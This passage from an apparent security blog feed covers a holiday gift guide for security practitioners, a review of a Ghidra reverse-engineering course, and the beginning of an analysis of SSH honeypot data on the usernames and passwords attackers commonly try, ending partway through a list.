<h3 id="protonmail-subscription">ProtonMail Subscription</h3>
<p><strong>ProtonMail</strong> is a great encrypted mail provider for those with an interest in
privacy or cryptography. They offer <a href="https://shop.protonmail.com/collections/proton-gift-cards">gift
cards</a> for
subscriptions to both ProtonMail and ProtonVPN, their VPN service.</p>
<h3 id="encrypted-flash-drive">Encrypted Flash Drive</h3>
<p><a href="https://www.amazon.com/iStorage-datAshur-256-bit-encrypted-FL-DA3-256-8/dp/B015DB9G7S/ref=as_li_ss_il?crid=1ZQQWB4M83ICQ&dchild=1&keywords=encrypted+flash+drive&qid=1606367674&sprefix=encryp,aps,252&sr=8-1-spons&psc=1&spLa=ZW5jcnlwdGVkUXVhbGlmaWVyPUEzNDRWSUdXMU9QMFhVJmVuY3J5cHRlZElkPUEwOTYyNjM1M0VEOVRJWE9LQUpVQiZlbmNyeXB0ZWRBZElkPUEwNzk3NTY3M1RNTkwwTzA3MDRYSiZ3aWRnZXROYW1lPXNwX2F0ZiZhY3Rpb249Y2xpY2tSZWRpcmVjdCZkb05vdExvZ0NsaWNrPXRydWU=&linkCode=li2&tag=systemovecom-20&linkId=d932dd9f126de22604255912bb4badc8&language=en_US" class="left"><img src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B015DB9G7S&Format=_SL160_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=systemovecom-20&language=en_US" alt="Datashur Pro" class="amzimg" /></a></p>
<p>I know cloud storage is all the rage, but sometimes you need a local copy.
Sometimes, you even need that local copy to be protected – maybe it’s user
data, maybe it’s financial data, maybe it’s medical data – and hardware
encryption allows you to go from one system to another without needing any
special software. Additionally, it can’t be keylogged or easily compromised
from software. This <a href="https://amzn.to/2J0Ge8h">Datashur Pro</a> is my choice of
encrypted flash drive, but there are a number of options out there.</p>
<h3 id="cryptographic-security-key">Cryptographic Security Key</h3>
<p><a href="https://www.amazon.com/Yubico-YubiKey-Factor-Authentication-Security/dp/B07HBCTYP1/ref=as_li_ss_il?dchild=1&keywords=yubikey+5+nfc&qid=1606415792&sr=8-1-spons&psc=1&spLa=ZW5jcnlwdGVkUXVhbGlmaWVyPUEzVFRSRzU3WVFWMkpCJmVuY3J5cHRlZElkPUEwNzY1NTM4VTVLWU1JTkcxUFBRJmVuY3J5cHRlZEFkSWQ9QTA2NjU3ODgxTVhTUlVSUUU3R1dMJndpZGdldE5hbWU9c3BfYXRmJmFjdGlvbj1jbGlja1JlZGlyZWN0JmRvTm90TG9nQ2xpY2s9dHJ1ZQ==&linkCode=li2&tag=systemovecom-20&linkId=981a3aa10e68db7bead9fdd28d0dc001&language=en_US" class="right"><img src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07HBCTYP1&Format=_SL160_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=systemovecom-20&language=en_US" alt="Yubikey 5C" class="amzimg" /></a></p>
<p>These devices act as a <a href="/2020/05/07/security-101-two-factor-authentication-2fa.html">second factor for
authentication</a>,
but some of them can do so much more. The <a href="https://amzn.to/2V6o1IU">Yubikey 5</a>
can also function as a hardware security token for encryption keys and provide
one-time-password functionality. Keys from <a href="https://shareasale.com/r.cfm?b=1578018&u=2497236&m=98693&urllink=&afftrack=">Feitian
Technologies</a>
support Bluetooth Low Energy in addition to NFC and USB, allowing them to work
with a variety of devices. If you or your hacker are into open source, the
<a href="https://amzn.to/3fBnwzX">SoloKey</a> keys are open source hardware implementations
of the specification.</p>
<h3 id="linux-basics-for-hackers">Linux Basics for Hackers</h3>
<p><a href="https://www.amazon.com/Linux-Basics-Hackers-Networking-Scripting/dp/1593278551/ref=as_li_ss_il?dchild=1&keywords=penetration+testing&qid=1606453155&sr=8-20&linkCode=li2&tag=systemovecom-20&linkId=c19d82fdf3b5311f31fbe70b0e92d051&language=en_US" class="left"><img src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=1593278551&Format=_SL160_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=systemovecom-20&language=en_US" alt="Linux Basics For Hackers" class="amzimg" /></a></p>
<p>I’ve been using Linux for more than two decades, so I honestly initially just
bought <a href="https://amzn.to/3nVeD6Y"><strong>Linux Basics for Hackers</strong></a> because of the
awesome hacker penguin on the cover. If you’re not already familiar with Linux,
but need it to grow your skillset, this is an <em>excellent</em> book with a focus on
the Linux you need to know as an information security professional or hacker.
It has a particular focus on Kali Linux, the Linux distribution popular for
penetration testing, but the lessons are more broadly applicable across
different security domains.</p>
<hr />
<h2 id="penetration-testers--red-teamers">Penetration Testers & Red Teamers</h2>
<p>These gifts are for your pentesters, red teamers, and those learning the field.</p>
<h3 id="the-pentester-blueprint">The Pentester Blueprint</h3>
<p><a href="https://www.amazon.com/Pentester-BluePrint-Your-Guide-Being/dp/1119684307/ref=as_li_ss_il?dchild=1&keywords=pentester&qid=1606361585&sr=8-1&linkCode=li2&tag=systemovecom-20&linkId=b89332f6a80156c84847aa949bd6c2b1&language=en_US" class="left"><img src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=1119684307&Format=_SL160_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=systemovecom-20&language=en_US" alt="The Pentester Blueprint" class="amzimg" /></a></p>
<p><a href="https://amzn.to/3m32SLk"><strong>The Pentester Blueprint</strong></a> is a guide to getting
started as a professional penetration tester. It’s not very technical, and it’s
not going to teach your recipient how to “hack”, but it’s great career advice
for those getting started in penetration testing or looking to make a career
transition. It basically <em>just</em> came out, so it’s up-to-date (which is, of
course, a perpetual issue in technical books these days. It’s written in a very
easy-reading style, so is great for those considering the switch to pentesting.</p>
<h3 id="online-learning-labs">Online Learning Labs</h3>
<p>I can recommend several online labs, some of which offer gift cards:</p>
<ul>
<li><a href="https://pentesterlab.com/pro">PentesterLab</a></li>
<li><a href="https://www.hackthebox.eu/giftcards">Hack the Box</a></li>
<li><a href="https://tryhackme.com/subscriptions">TryHackMe</a></li>
</ul>
<h3 id="penetration-testing-a-hands-on-introduction-to-hacking">Penetration Testing: A Hands-On Introduction to Hacking</h3>
<p><a href="https://www.amazon.com/Penetration-Testing-Hands-Introduction-Hacking/dp/1593275641/ref=as_li_ss_il?dchild=1&keywords=weidman+penetration+testing&qid=1606431108&sr=8-3&linkCode=li2&tag=systemovecom-20&linkId=813529a1359c64413eadcd91b983447e&language=en_US" class="right"><img src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=1593275641&Format=_SL160_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=systemovecom-20&language=en_US" alt="Penetration Testing" class="amzimg" /></a></p>
<p>Georgia Weidman’s book, <a href="https://amzn.to/2KKrxXm">“Penetration Testing: A Hands-On Introduction to
Hacking”</a> is one of the best introductory guides to
penetration testing that I have seen. Even though it’s been a few years since
it was released, it remains high-quality content and a great introductory guide
to the space. Available via <a href="https://amzn.to/2KKrxXm">Amazon</a> or <a href="https://nostarch.com/pentesting">No Starch
Press</a>. Georgia is a great speaker and teacher
and well-known for her efforts to spread knowledge within the security
community.</p>
<h3 id="wifi-pineapple-mark-vii">WiFi Pineapple Mark VII</h3>
<p><a href="https://shop.hak5.org/products/wifi-pineapple" class="left"><img src="/img/gifts2020/pineapple_vii.png" alt="WiFi Pineapple" /></a></p>
<p>The <a href="https://shop.hak5.org/products/wifi-pineapple">WiFi Pineapple</a> is probably
the best known piece of “hacking hardware”. Now in it’s seventh generation,
it’s used for conducting WiFi security audits, on-site penetration tests, or
even as a remote implant for remote penetration tests. I’ve owned several
versions of the WiFi Pineapple and found that it only gets better with each
generation. Especially with dual radios, it can do things like act as a
client on one radio while providing an access point on the other radio.</p>
<p>The WiFi Pineapple does have a bit of a learning curve, but it’s a great option
for those getting into the field or learning about the various types of WiFi
audits and attacks. The USB ports also allow expansion if you need to add a
capability not already built-in.</p>
<h3 id="poc--gtfo">PoC || GTFO</h3>
<p><a href="https://www.amazon.com/PoC-GTFO-Manul-Laphroaig/dp/1593278802/ref=as_li_ss_il?dchild=1&keywords=poc%7Cgtfo&qid=1606453674&sr=8-2&linkCode=li2&tag=systemovecom-20&linkId=948fe74ed4b20cfe1e6dee46a157b409&language=en_US" class="right"><img src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=1593278802&Format=_SL160_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=systemovecom-20&language=en_US" alt="PoC||GTFO" class="amzimg" /></a></p>
<p><a href="https://pocorgtfo.hacke.rs/">PoC||GTFO</a> is an online journal for offensive
security and exploitation. No Starch Press has published a pair of <a href="https://amzn.to/3mbtgD1">physical
journals</a> in a beautiful biblical style. The content
is very high quality, but they’re also presented in a striking style that would
go well on the bookshelf of even the most discerning hacker. Check out both
<a href="https://amzn.to/3mbtgD1">Volume I</a> and <a href="https://amzn.to/2HJFaVC">Volume II</a>,
with <a href="https://amzn.to/3q2udQ9">Volume III</a> available for pre-order to be
delivered in January.</p>
<hr />
<h2 id="hardware-hackers">Hardware Hackers</h2>
<h3 id="tigard">Tigard</h3>
<p><a href="https://www.crowdsupply.com/securinghw/tigard" class="left"><img src="/img/gifts2020/tigard.png" alt="Tigard" /></a></p>
<p><a href="https://www.crowdsupply.com/securinghw/tigard"><strong>Tigard</strong></a> is a pretty cool
little hardware hacker’s universal interface that I’m super excited about.
Similar to my <a href="/projects/timep">open source project, TIMEP</a>, it’s a universal
interface for SPI, I2C, JTAG, SWD, UART, and more. It’s great for examining
embedded devices and IoT, and is a really well-thought-out implementation of
such a board. It supports a variety of voltages and options and is even really
well documented on the back of the board so you never have to figure out how to
hook it up. This is great both for those new to hardware hacking as well as
those experienced looking for an addition to the toolkit.</p>
<h3 id="hardware-hacker-adventures-in-making-and-breaking-hardware">Hardware Hacker: Adventures in Making and Breaking Hardware</h3>
<p><a href="https://www.amazon.com/Hardware-Hacker-Adventures-Making-Breaking/dp/159327758X/ref=as_li_ss_il?dchild=1&keywords=hardware+hacking&qid=1606433973&sr=8-3&linkCode=li2&tag=systemovecom-20&linkId=24cad0f698dccfd6fe694292ce4cf53a&language=en_US" class="right"><img src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=159327758X&Format=_SL160_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=systemovecom-20&language=en_US" alt="Hardware Hacker" class="amzimg" /></a></p>
<p>Andrew “Bunnie” Huang is a well-known hardware hacker with both experience in
making and breaking hardware, and <a href="https://amzn.to/3fCuq83"><em>Hardware Hacker: Adventures in Making and
Breaking Hardware</em></a> is a great guide to his experiences
in those fields. It’s not a super technical read, but it’s an excellent and
interesting resource on the topics.</p>
<h3 id="rtl-sdr-starter-kit">RTL-SDR Starter Kit</h3>
<p><a href="https://www.amazon.com/NooElec-NESDR-Smart-Bundle-R820T2-Based/dp/B01GDN1T4S/ref=as_li_ss_il?dchild=1&keywords=RTL-SDR+Blog&qid=1606446758&sr=8-20&linkCode=li2&tag=systemovecom-20&linkId=3af6fcc7d7d23da02380e18a79675277&language=en_US" class="left"><img src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B01GDN1T4S&Format=_SL160_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=systemovecom-20&language=en_US" alt="RTL-SDR" class="amzimg" /></a></p>
<p>Software-Defined Radio allows you to examine wireless signals between devices.
This is useful if you want to take a look at how wireless doorbells, toys, and
other devices work. This <a href="https://amzn.to/3fL6aAz">Nooelec kit</a> is a great
starting SDR, as is <a href="https://amzn.to/36aEmT9">this kit from rtl-sdr.com</a>.</p>
<h3 id="ifixit-pro-tech-toolkit">iFixit Pro Tech Toolkit</h3>
<p><a href="https://www.amazon.com/iFixit-Pro-Tech-Toolkit-Electronics/dp/B01GF0KV6G/ref=as_li_ss_il?dchild=1&keywords=ifixit&qid=1606456805&sr=8-3&linkCode=li2&tag=systemovecom-20&linkId=c40b528490b3076903ef6268090fd53f&language=en_US" class="right"><img src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B01GF0KV6G&Format=_SL160_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=systemovecom-20&language=en_US" alt="" class="amzimg" /></a></p>
<p>The <a href="https://amzn.to/3q2wFWR"><strong>iFixit Pro Tech Toolkit</strong></a> is probably the tool
I use the most during security assessments of IoT/embedded devices. This kit
can get into almost anything, and the driver set in it has bits for almost
anything. It has torx, security torx, hex, Phillips and slotted bits, in
addition to many more esoteric bits. The kit also contains other opening tools
for prying and pulling apart snap-together enclosures and devices. I will
admit, I don’t think I’ve ever used the anti-static wrist strap, even if it
would make sense to do so.</p>
<hr />
<h2 id="young-hackers">Young Hackers</h2>
<h3 id="imagicharm">imagiCharm</h3>
<p><a href="https://www.amazon.com/imagiLabs-imagiCharm-Accessory-Program-Straight/dp/B089NWTY45/ref=as_li_ss_il?dchild=1&keywords=imagilabs&qid=1606371739&sr=8-1&linkCode=li2&tag=systemovecom-20&linkId=7968a93282445843c7fb6bcbd6bb1c42&language=en_US" class="right"><img src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B089NWTY45&Format=_SL160_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=systemovecom-20&language=en_US" alt="imagiCharm" class="amzimg" /></a></p>
<p><a href="https://amzn.to/33jEbCX"><strong>imagiCharm by imagiLabs</strong></a> is a small hardware
device that allows young programmers to get their first bite into programming
embedded devices – or even programming in general. While I haven’t tried it
myself, it looks like a great concept, and providing something hands-on looks
like a clear win for encouraging students and helping them find their interest.</p>
<h3 id="mechanical-puzzles">Mechanical Puzzles</h3>
<p><a href="https://shareasale.com/r.cfm?b=759930&u=2497236&m=16058&urllink=&afftrack="><strong>PuzzleMaster</strong></a>
offers a bunch of really cool mechanical puzzles and games. These include
things like puzzle locks, twisty puzzles, and more. When we’re all stuck
inside, why not give something hands on a try?</p>
<hr />
<h2 id="friends-and-family-of-hackers">Friends and Family of Hackers</h2>
<p>Bring a touch of hacking to your friends and family!</p>
<h3 id="hardware-security-keys">Hardware Security Keys</h3>
<p><a href="https://www.amazon.com/Yubico-Security-USB-Factor-Authentication/dp/B07M8YBWQZ/ref=as_li_ss_il?dchild=1&keywords=yubikey&qid=1606365699&sr=8-5&linkCode=li2&tag=systemovecom-20&linkId=4106e841daed811040c7018adeb9ed54&language=en_US" class="right"><img src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07M8YBWQZ&Format=_SL160_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=systemovecom-20&language=en_US" alt="Yubico Security Key" class="amzimg" /></a></p>
<p>A <a href="https://amzn.to/3778QVe"><strong>Security Key</strong></a> is a physical 2 factor security
token that makes web logins much more secure. Users touch the gold disc when
signing in to verify their signin request, so even if a password gets stolen,
the account won’t be stolen. These tokens are supported by sites like Google,
GitHub, Vanguard, Dropbox, GitLab, Facebook, and more.</p>
<p>Unlike text-message based second factor, these tokens are impossible to phish,
can’t be stolen via phone number porting attacks, and don’t depend on your phone
having a charge.</p>
<h3 id="control-alt-hack">Control-Alt-Hack</h3>
<p><a href="https://www.amazon.com/Control-Alt-Hack-White-Hacking-Profit-Card/dp/B008HIX5KO/ref=as_li_ss_il?ie=UTF8&linkCode=li2&tag=systemovecom-20&linkId=a98cf2916d8a602fbb73b5cf73211db8&language=en_US" class="left"><img src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B008HIX5KO&Format=_SL160_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=systemovecom-20&language=en_US" alt="Control-Alt-Hack" class="amzimg" /></a></p>
<p><a href="https://amzn.to/33nlnCV"><strong>Control-Alt-Hack</strong></a> is a hacking-themed card game.
Don’t expect technical accuracy, but it’s a lot of fun to play. Featuring terms
like “Entropy” and “Mission”, it brings the theme of hacking to the whole
family. It’s an interesting take on things, and a really cool concept. If
you’re a fan of independent board/card games and a fan of hacking, this would be
a fun addition to your collection.</p>
<h3 id="vpn-subscription">VPN Subscription</h3>
<p>If your friends or family use open wireless networks (I know, maybe not as much
this year), they should consider using a VPN. I currently use <a href="https://www.privateinternetaccess.com/pages/buy-vpn/systemoverlord">Private Internet
Access</a> when
I need a commercial provider, but I have also used
<a href="https://www.shareasale.com/u.cfm?d=731043&m=88840&u=2497236">Ivacy</a> before, as
well as <a href="https://protonvpn.com/">ProtonVPN</a>.</p>
<hr />
<h2 id="non-security-tech">Non-Security Tech</h2>
<p>These are tech items that are not specific to the security industry/area. Great
for hackers, friends of hackers, and more.</p>
<h3 id="raspberry-pi-4">Raspberry Pi 4</h3>
<p><a href="https://www.amazon.com/Raspberry-Model-2019-Quad-Bluetooth/dp/B07TC2BK1X/ref=as_li_ss_il?cv_ct_cx=raspberry+pi+4&dchild=1&keywords=raspberry+pi+4&pd_rd_i=B07TC2BK1X&pd_rd_r=006a3f2d-1b60-401f-8b3d-bd9f0f1b597c&pd_rd_w=oyAOp&pd_rd_wg=Dx9cx&pf_rd_p=84ce0865-d9ca-42e3-87ed-168be8f93162&pf_rd_r=YKQQC3TWCS2BVAH7JT6H&psc=1&qid=1606428348&sr=1-1-88388c6d-14b8-4f70-90f6-05ac39e80cc0&linkCode=li2&tag=systemovecom-20&linkId=daeba75034fd8ce76a2b55925bd68f13&language=en_US" class="left"><img src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07TC2BK1X&Format=_SL160_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=systemovecom-20&language=en_US" alt="Raspberry Pi 4" class="amzimg" /></a></p>
<p>Okay, I probably could’ve put the <a href="https://amzn.to/33n0LuF"><strong>Raspberry Pi 4</strong></a>
in almost any of these categories because it’s such a versatile tool. It can be
a young hacker’s first Linux computer, it can be a <a href="/2020/07/14/raspberry-pi-as-a-penetration-testing-implant.html">penetration testing
dropbox</a>, it can
be a great tool for hardware hackers, and it can be a project unto itself. The
user can use it to run a home media server, a network-level ad blocker, or just
get familiar with another operating system. While I’ve been a fan of the
Raspberry Pi in various forms for years, the Pi 4 has a quad core processor and
can come with enough memory for some powerful uses. There’s a bunch of
configurations, like:</p>
<ul>
<li><a href="https://amzn.to/2JlmgEI">A Complete Starter Kit</a></li>
<li><a href="https://amzn.to/36bTK1E">The Bare Board</a></li>
<li><a href="https://amzn.to/3q4nrJP">Learning Kit with Sensors, Buttons, Screen, etc.</a></li>
<li><a href="https://amzn.to/39fNOXj">Pi Zero Starter Kit</a></li>
</ul>
<h3 id="keysy">Keysy</h3>
<p><a href="https://www.amazon.com/Keysy-RFID-Duplicator-keycards-keyfobs/dp/B07D7K2LCB/ref=as_li_ss_il?dchild=1&keywords=keysy&qid=1606430123&s=electronics&sr=1-1&linkCode=li2&tag=systemovecom-20&linkId=76d91e6b05d2d6631194d3e76c238be5&language=en_US" class="right"><img src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07D7K2LCB&Format=_SL160_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=systemovecom-20&language=en_US" alt="Keysy" class="amzimg" /></a></p>
<p>The <a href="https://amzn.to/2V4xQ9U"><strong>Keysy</strong></a> is a a small RFID duplicator. While it
can be used for physical penetration testing, it’s also just super convenient if
you have multiple RFID keyfobs you need to deal with (i.e., apartment, work,
garage, etc.). Note that it only handles certain types of RFID cards, but most
of the common standards are available and workable.</p>
<h3 id="home-automation-learning-kit">Home Automation Learning Kit</h3>
<p><a href="https://www.amazon.com/KEYESTUDIO-Starter-Electronics-Automation-Education/dp/B08CZ778DJ/ref=as_li_ss_il?dchild=1&keywords=hacking+tools&qid=1606446681&sr=8-30&linkCode=li2&tag=systemovecom-20&linkId=96fdd2408ee35b6ae877480a77dcde41&language=en_US" class="left"><img src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B08CZ778DJ&Format=_SL160_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=systemovecom-20&language=en_US" alt="" class="amzimg" /></a></p>
<p><a href="https://amzn.to/3ljEPH3">This</a> is a really cool kit for learning about home
automation with Arduino. It has sensors and inputs for learning about how home
automation systems work – controlling things with relays, measuring light,
temperature, etc. I love the implementation into a fake laser cut house for the
purpose of learning – it’s really clever, and makes me think it would be great
for anyone into tech and automation. Teens and adults wanting to learn about
Arduino, security practitioners who want to examine how things could go wrong
(could augment this with consumer-grade products) and more.</p>
<h3 id="boogie-board-writing-tablet">Boogie Board Writing Tablet</h3>
<p><a href="https://www.amazon.com/Boogie-Board-Blackboard-Writing-Tablet/dp/B07D7WLDMV/ref=as_li_ss_il?dchild=1&keywords=remarkable&qid=1606450476&sr=8-4&linkCode=li2&tag=systemovecom-20&linkId=bcb1a3043d71a9e53c5214b52d29b063&language=en_US" class="right"><img src="//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07D7WLDMV&Format=_SL160_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=systemovecom-20&language=en_US" alt="" class="amzimg" /></a></p>
<p>Sometimes you just want to hand write something. While I’m also a fan of <a href="https://amzn.to/3l8latj">Field
Notes Notebooks</a> in my pocket, this <a href="https://amzn.to/3mahgkY">Boogie Board
tablet</a> strikes me as a pretty cool option. It allows
the user to write on its surface overlaid over anything of your choice (it’s
transparent) and then capture the written content into iOS or Android. I love
to hand write for brainstorming, some form of note taking, and more. System
diagrams are so much easier in writing than in digital format, even today.</p>
<hr />
<h2 id="general-offers">General Offers</h2>
<p>This is my attempt to collect special offers for the holiday season that are
relevant to the hacking community. These are all subject to change, but I
believe them correct at the time of writing.</p>
<h3 id="no-starch-press">No Starch Press</h3>
<p><a href="https://nostarch.com/"><strong>No Starch Press</strong></a> is possibly the highest quality
tech book publisher. Rather than focusing on quantity of books published, they
only accept books that will be high quality. I own at least a couple of dozen
of their books and they have been consistently well-written and high quality
coverage of the topics. They are currently offering 33.7% off their entire
catalog for Black Friday (through 11/29/20).</p>
<h3 id="hooligan-keys">Hooligan Keys</h3>
<p><a href="https://hooligankeys.com"><strong>Hooligan Keys</strong></a> offering 10% off from Thanksgiving
to Christmas with offer code
<a href="https://twitter.com/R0brBun7/status/1332083343282774016">HAPPYDAY2020</a>.</p>
Course Review: Reverse Engineering with Ghidra2020-10-17T00:00:00-07:00https://systemoverlord.com/2020/10/17/course-review-reverse-engineering-with-ghidra
<p>If you’re a prior reader of the blog, you probably know that when I have the
opportunity to take a training class, I like to write a review of the course.
It’s often hard to find public feedback on trainings, which feels frustrating
when you’re spending thousands of dollars on that course.</p>
<p>Last week, I took the “<a href="http://infiltratecon.com/conference/training/reverse-engineering-with-ghidra.html">Reverse Engineering with
Ghidra</a>”
taught by <a href="https://twitter.com/0xjeremy">Jeremy Blackthorne (0xJeremy)</a> of the
<a href="https://www.bostoncybernetics.org/">Boston Cybernetics Institute</a>. It was
ostensibly offered as part of the Infiltrate Conference, but 2020 being what it
is, there was no conference and it was just an online training. Unfortunately
for me, it was being run on East Coast time and I’m on the West Coast, so I got
to enjoy some <em>early</em> mornings.</p>
<p>I won’t bury the lede here – on the whole, the course was a high-quality
experience taught by an instructor who is clearly both passionate and
experienced with technical instruction. I would highly recommend this course if
you have little experience in reverse engineering and want to get bootstrapped
on performing reversing with Ghidra. You absolutely do need to have some
understanding of how programs work – memory sections, control flow, how data
and code is represented in memory, etc., but you don’t need to have any
meaningful RE experience. (At least, that’s my takeaway, see the course
syllabus for more details.)</p>
<p>I would say that about 75% of the total time was spent executing labs and the
other 25% was spent with lecture. The lecture time, however, had very little
prepared material to read – most of it was live demonstration of the toolset,
which made for a great experience when he would answer questions by showing you
exactly how to get something done in Ghidra.</p>
<p>Like many information security courses, they provide a virtual machine image
with all of the software installed and configured. Interestingly, they seem to
share this image across multiple courses, so the actual exercises are downloaded
by the student during the course. They provide both VirtualBox and VMWare VMs,
but both are OVAs which should be importable into either virtualization
platform. Because I always need to make things harder on myself, I actually
used QEMU/KVM virtualization for the course, and it worked just fine as well.</p>
<p>The coverage of Ghidra as a tool for reversing was excellent. The majority of
the time was spent on manual analysis tasks with examples in a variety of
architectures. I believe we saw X86, AMD64, MIPS, ARM, and PowerPC throughout
the course. Most of the reversing tasks were a sort of “crack me” style
challenge, which was a fitting way to introduce the Ghidra toolkit.</p>
<p>We also spent some time on two separate aspects of Ghidra programming –
extending Ghidra with scripts, plugins, and tools, and headless analysis of
programs using the GhidraScript API. Though Ghidra is a Java program, it has
both Java APIs and Jython bindings to those APIs, and all of the headless
analysis exercises were done in Python (Jython).</p>
<p>Jeremy did a great job of explaining the material and was very clear in his
teaching style. He provided support for students who were having issues without
disrupting the flow for other students. One interesting approach is encouraging
students to just keep going through the labs when they finish one, rather than
waiting for that lab to be introduced. This ensures that nobody is sitting idle
waiting for the course to move forward, and provides students the opportunity to
learn and discover the tools on their own before the in-course coverage.</p>
<p>One key feature of Jeremy’s teaching approach is the extensive use of
<a href="https://jupyter.org/">Jupyter</a> notebooks for the lab exercises. This
encourages students to produce a log of their work, as you can directly embed
shell commands and python scripts (along with their output) as well as Markdown
that can include images or other resources. A sort of a hidden gem of his
approach was also an introduction to the
<a href="https://flameshot.js.org/#/">Flameshot</a> screenshot tool. This tool lets you
add boxes, arrows, highlights, redactions, etc., to your screenshot directly in
an on-screen overlay. I hadn’t seen it before, but I think it’ll be my goto
screenshot tool in the future.</p>
<p>Other tooling used for making this a remote course included a Zoom meeting for
the main lecture and a Discord channel for class discussion. Exercises and
materials were shared via a Sharepoint server. Zoom was
particularly nice because Jeremy recorded his end of the call and uploaded the
recordings to the Sharepoint server, so if you wanted to revisit anything, you
had both the lecture notes <em>and</em> video. (This is important since so much of the
class was done as live demo instead of slides/text.)</p>
<p>It’s also worth noting that it was clear that Jeremy adjusted the course
contents and pace to match the students goals and pace. At the beginning, he
asked each student about their background and what they hoped to get out of the
course, and he would regularly ask us to privately message him with what
exercise we’re currently working on (the remote version of the instructor
walking around the room) to get a sense of the pace. BCI clearly has more
exercises than can fit in the four day timing of the course, so Jeremy selected
the ones most relevant to student’s goals, but then provided <em>all</em> the materials
at the end of the course so we could go forth and learn more on our own time.
This was a really nice element to help get the most out of the course.</p>
<p>The combination of the live demo lecture style, lots of lab/hands-on exercises,
and customized content and pace really worked well for me. I feel like I got a
lot out of the course and am at least somewhat comfortable using Ghidra now.
Overall, definitely a recommendation for those newer to reverse engineering or
looking to use Ghidra for the first time.</p>
<p>I also recently purchased <a href="https://amzn.to/3m3skjh">The Ghidra Book</a> so I
thought I’d make a quick comparison. The Ghidra Book looks like good reference
material, but not a way to learn from first principles. If you haven’t used
Ghidra at all, taking a course will be a much better way to get up to speed.</p>
Lessons Learned from SSH Credential Honeypots2020-09-04T00:00:00-07:00https://systemoverlord.com/2020/09/04/lessons-learned-from-ssh-credential-honeypots
<p>For the past few months, I’ve been running a handful of SSH Honeypots on some
cloud providers, including <a href="https://cloud.google.com">Google Cloud</a>,
<a href="https://m.do.co/c/b2cffefc9c81">DigitalOcean</a>, and
<a href="https://shareasale.com/r.cfm?b=1380239&u=2497236&m=46483&urllink=&afftrack=">NameCheap</a>.
As opposed to more complicated honeypots looking at attacker behavior, I decided
to do something simple and was only interested in where they were coming from,
what tools might be in use, and what credentials they are attempting to use to
authenticate. My dataset includes 929,554 attempted logins over a period of a
little more than 3 months.</p>
<p>If you’re looking for a big surprise, I’ll go ahead and let you down easy: my
analysis hasn’t located any new botnets or clusters of attackers. But it’s been
a fascinating project nonetheless.</p>
<!--more-->
<h2 id="honeypot-design">Honeypot Design</h2>
<p>With a mere 200ish lines of Go, I implemented a honeypot server using the
<a href="https://pkg.go.dev/golang.org/x/crypto/ssh?tab=doc"><code class="language-plaintext highlighter-rouge">golang.org/x/crypto/ssh</code></a>
library as the underlying implementation. I advertised a portable OpenSSH
version as the server version string (sent to clients on connection). I then
logged each connection to a SQLite database, including the timestamp, IP
address, client version, and credentials used to (attempt to) authenticate.</p>
<h2 id="analysis-of-credentials">Analysis of Credentials</h2>
<p>In a surprise to absolutely nobody, <code class="language-plaintext highlighter-rouge">root</code> is by far the most commonly tried
username for login sessions. I suspect there must be many attackers trying
lists of passwords with just <code class="language-plaintext highlighter-rouge">root</code> as the username, as 78% of attempted logins
were with username <code class="language-plaintext highlighter-rouge">root</code>. None of the remainder of the top 10 are particularly
surprising, although <code class="language-plaintext highlighter-rouge">usuario</code> was not one I expected to see. (It is Spanish
for <code class="language-plaintext highlighter-rouge">user</code>.)</p>
<p>Blank passwords are the most common attempted passwords, followed by other
obvious choices, like <code class="language-plaintext highlighter-rouge">123456</code> and <code class="language-plaintext highlighter-rouge">password</code>. Just off the top 10 list was a
surprising choice of password: <code class="language-plaintext highlighter-rouge">J5cmmu=Kyf0-br8CsW</code>. Interestingly, a Google
search for this password only finds other people with experience running
credential honeypots. It doesn’t appear in any of the password wordlists I
have, including <a href="https://github.com/danielmiessler/SecLists">SecLists</a> and
others. If anyone knows what this is a password for, I’d love to know.</p>
<p>There were a number of other interesting passwords such as <code class="language-plaintext highlighter-rouge">7ujMko0admin</code>, used
for a bunch of networked DVRs, and also known to be used by malware attacking
IoT devices. There are other passwords that don’t look obvious to a US-centric
view of the world, like:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">baikal</code> – a lake in Siberia</li>
<li><code class="language-plaintext highlighter-rouge">prueba</code> – Spanish for test</li>
<li><code class="language-plaintext highlighter-rouge">caonima</code> – a Mandarin profanity written in Pinyin</li>
